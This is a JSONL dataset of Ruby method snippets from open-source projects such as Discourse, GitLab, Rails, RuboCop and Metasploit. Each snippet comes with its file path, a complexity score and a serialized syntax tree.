{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/metadata.rb","start_line":129,"raw_source":"def parse_line(line)\n    line = line.strip\n\n    unless line.empty?\n      return false unless line[0] == \"#\"\n      attribute, *value = line[1..-1].split(\":\")\n\n      value = value.join(\":\")\n      attribute = attribute.strip.gsub(/ /, \"_\").to_sym\n\n      if FIELDS.include?(attribute)\n        self.public_send(\n          \"#{attribute}=\",\n          value.strip.truncate(MAX_FIELD_LENGTHS[attribute] || 1000),\n        )\n      end\n    end\n\n    true\n  end","complexity_score":32.65,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"#\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"strip\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIELDS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strip\"]},\"truncate\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_FIELD_LENGTHS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"int\",\"children\":[1000]}]}]}]},null]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"547aa63c-cdfd-425c-b1a9-71449f50e69a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/android/reverse_http.rb","start_line":21,"raw_source":"def initialize(*args)\n    super\n    register_advanced_options(Msf::Opt::http_header_options)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"http_header_options\"]}]}]}]}","id":"6809fef1-cd81-4ee8-aec6-957af469ce3e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/groups_controller.rb","start_line":210,"raw_source":"def posts_feed\n    group = find_group(:name)\n    guardian.ensure_can_see_group_members!(group)\n\n    @posts =\n      group.posts_for(guardian, params.permit(:before_post_id, :before, :category_id)).limit(50)\n    @title =\n      \"#{SiteSetting.title} - #{I18n.t(\"rss_description.group_posts\", group_name: group.name)}\"\n    @link = Discourse.base_url\n    @description = I18n.t(\"rss_description.group_posts\", group_name: group.name)\n\n    render \"posts/latest\", formats: [:rss]\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"posts_feed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_see_group_members!\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"posts_for\",{\"type\":\"send\",\"children\":[null,\"guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"before_post_id\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]},\"limit\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rss_description.group_posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@link\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rss_description.group_posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"posts/latest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rss\"]}]}]}]}]}]}]}","id":"06b5281a-5ef7-46dc-9a7c-63d62f1001ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/project/phases/scopes/covering_dates_or_days_of_week.rb","start_line":43,"raw_source":"def covering_dates_or_days_of_week(days_of_week: [], dates: [])\n      days_of_week = Array(days_of_week)\n      dates = Array(dates)\n      return none if days_of_week.empty? && dates.empty?\n\n      ids_sql = sanitize_sql([<<~SQL.squish, { days_of_week:, dates: }])\n        WITH\n          -- select phases with at least one date\n          phases_with_dates AS (\n            SELECT\n              id,\n              COALESCE(start_date, finish_date) AS start_date,\n              COALESCE(finish_date, start_date) AS finish_date\n            FROM project_phases\n            WHERE\n              start_date IS NOT NULL\n              OR finish_date IS NOT NULL\n          )\n\n        SELECT\n          id\n        FROM\n          phases_with_dates\n        WHERE\n          -- Check if the range covers any of the provided days of week. It is\n          -- done by comparing number of days from start_date to first target\n          -- day of week with number of days in range. If number is less or\n          -- eqal, then the range covers the target day of week\n          EXISTS (\n            SELECT 1\n            FROM UNNEST(ARRAY[:days_of_week]::INT[]) AS target_dow\n            WHERE (target_dow + 7 - EXTRACT(ISODOW FROM start_date)::INT) % 7 <= finish_date - start_date\n          )\n          OR\n          -- Check if the range covers any of the provided dates\n          EXISTS (\n            SELECT 1\n            FROM UNNEST(ARRAY[:dates]::DATE[]) AS target_date\n            WHERE target_date BETWEEN start_date AND finish_date\n          )\n      SQL\n\n      where(\"id IN (#{ids_sql})\")\n    end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"covering_dates_or_days_of_week\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"days_of_week\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"dates\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days_of_week\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"days_of_week\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dates\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"dates\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_of_week\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ids_sql\",{\"type\":\"send\",\"children\":[null,\"sanitize_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH\\n\"]},{\"type\":\"str\",\"children\":[\"  -- select phases with at least one date\\n\"]},{\"type\":\"str\",\"children\":[\"  phases_with_dates AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"      id,\\n\"]},{\"type\":\"str\",\"children\":[\"      COALESCE(start_date, finish_date) AS start_date,\\n\"]},{\"type\":\"str\",\"children\":[\"      COALESCE(finish_date, start_date) AS finish_date\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM project_phases\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"      start_date IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"      OR finish_date IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  phases_with_dates\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  -- Check if the range covers any of the provided days of week. It is\\n\"]},{\"type\":\"str\",\"children\":[\"  -- done by comparing number of days from start_date to first target\\n\"]},{\"type\":\"str\",\"children\":[\"  -- day of week with number of days in range. If number is less or\\n\"]},{\"type\":\"str\",\"children\":[\"  -- eqal, then the range covers the target day of week\\n\"]},{\"type\":\"str\",\"children\":[\"  EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM UNNEST(ARRAY[:days_of_week]::INT[]) AS target_dow\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE (target_dow + 7 - EXTRACT(ISODOW FROM start_date)::INT) % 7 <= finish_date - start_date\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"  OR\\n\"]},{\"type\":\"str\",\"children\":[\"  -- Check if the range covers any of the provided dates\\n\"]},{\"type\":\"str\",\"children\":[\"  EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM UNNEST(ARRAY[:dates]::DATE[]) AS target_date\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE target_date BETWEEN start_date AND finish_date\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]}]},\"squish\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days_of_week\"]},{\"type\":\"lvar\",\"children\":[\"days_of_week\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dates\"]},{\"type\":\"lvar\",\"children\":[\"dates\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"621047b3-f82a-490a-a01b-71f31da14426"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/setup/find-jh-branch.rb","start_line":104,"raw_source":"def gitlab\n    @gitlab ||= Gitlab.client(\n      endpoint: API::DEFAULT_OPTIONS[:endpoint],\n      private_token: ENV['ADD_JH_FILES_TOKEN'] || ''\n    )\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitlab\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"client\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"DEFAULT_OPTIONS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_token\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ADD_JH_FILES_TOKEN\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"839fa000-9225-4a57-86e2-a1515d071ac9"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/redis.rb","start_line":67,"raw_source":"def topic(id)\n      topic = redis.hgetall(\"topic:#{id}\")\n\n      topic[\"lastposttime\"] = timestamp_to_date(topic[\"lastposttime\"])\n      topic[\"timestamp\"] = timestamp_to_date(topic[\"timestamp\"])\n      topic[\"mainpost\"] = post(topic[\"mainPid\"])\n\n      topic\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"topic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"hgetall\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"topic:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"lastposttime\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lastposttime\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"mainpost\"]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mainPid\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}","id":"2398f326-791c-4091-b171-a809f2ca5dff"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":82,"raw_source":"def unlink?\n      request_method == 'UNLINK'\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unlink?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"UNLINK\"]}]}]}","id":"7a3bf84c-2c5c-4a0c-b3ea-95c3d761ba41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/clients/http.rb","start_line":123,"raw_source":"def request(method, resource, options = {}, &block)\n        with_error_handling do\n          Import::Clients::HTTP.public_send(\n            method,\n            resource_url(resource),\n            request_options(options),\n            &block\n          )\n        end\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_handling\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"Clients\"]},\"HTTP\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"resource_url\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"send\",\"children\":[null,\"request_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"8118a3f3-103a-406e-b354-2f26a57edc56"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":906,"raw_source":"def test_singleton_resource_has_show_action_but_does_not_have_destroy_action\n    with_routing do |set|\n      set.draw do\n        resource :account, only: [:show, :destroy], except: :destroy\n      end\n\n      assert_singleton_resource_allowed_routes(\"accounts\", {},                    :show, [:new, :create, :edit, :update, :destroy])\n      assert_singleton_resource_allowed_routes(\"accounts\", { format: \"xml\" },  :show, [:new, :create, :edit, :update, :destroy])\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_singleton_resource_has_show_action_but_does_not_have_destroy_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_singleton_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_singleton_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]}","id":"69d276b4-e2bf-4812-8334-b3b5d92ce65c"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20170818191909_split_alias_levels.rb","start_line":4,"raw_source":"def up\n    add_column :groups, :messageable_level, :integer, default: 0\n    add_column :groups, :mentionable_level, :integer, default: 0\n\n    execute \"UPDATE groups SET messageable_level = alias_level, mentionable_level = alias_level\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"messageable_level\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"mentionable_level\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE groups SET messageable_level = alias_level, mentionable_level = alias_level\"]}]}]}]}","id":"214647aa-b60e-49f7-856d-1103a14ee18a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":104,"raw_source":"def instrument_pid(payload)\n      payload[:pid] = Process.pid\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_pid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]}]}","id":"68aaa62b-f7e0-4694-8b21-5f1503099fdb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/cloud_lookup.rb","start_line":507,"raw_source":"def pick_action\n    return action if action.name != 'Automatic'\n\n    response = http_get_request_raw(\n      datastore['HOSTNAME'],\n      datastore['RPORT'],\n      datastore['SSL'],\n      datastore['URIPATH']\n    )\n    return nil unless response\n\n    actions.each do |my_action|\n      next if my_action.name == 'Automatic'\n\n      my_action['Signatures'].each do |signature|\n        return my_action if response.headers.to_s.downcase.include?(signature.downcase)\n      end\n    end\n\n    nil\n  end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"http_get_request_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HOSTNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_action\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_action\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Signatures\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signature\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"to_s\"]},\"downcase\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]},\"downcase\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_action\"]}]},null]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"890ed6d1-9138-4e3d-970d-4bf8ded9c4cc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/super_arguments.rb","start_line":125,"raw_source":"def argument_list_size_differs?(def_args, super_args, super_node)\n          # If the def node has a block argument and the super node has an explicit block,\n          # the number of arguments is the same, so ignore the def node block arg.\n          def_args_size = def_args.size\n          def_args_size -= 1 if def_args.any?(&:blockarg_type?) && block_sends_to_super?(super_node)\n\n          def_args_size != super_args.size\n        end","complexity_score":12.23,"ast_json":"{\"type\":\"def\",\"children\":[\"argument_list_size_differs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"def_args\"]},{\"type\":\"arg\",\"children\":[\"super_args\"]},{\"type\":\"arg\",\"children\":[\"super_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"def_args_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_args\"]},\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_args\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blockarg_type?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"block_sends_to_super?\",{\"type\":\"lvar\",\"children\":[\"super_node\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"def_args_size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_args_size\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_args\"]},\"size\"]}]}]}]}","id":"8d6744ad-9029-4541-a9a3-215ac5b294d8"}
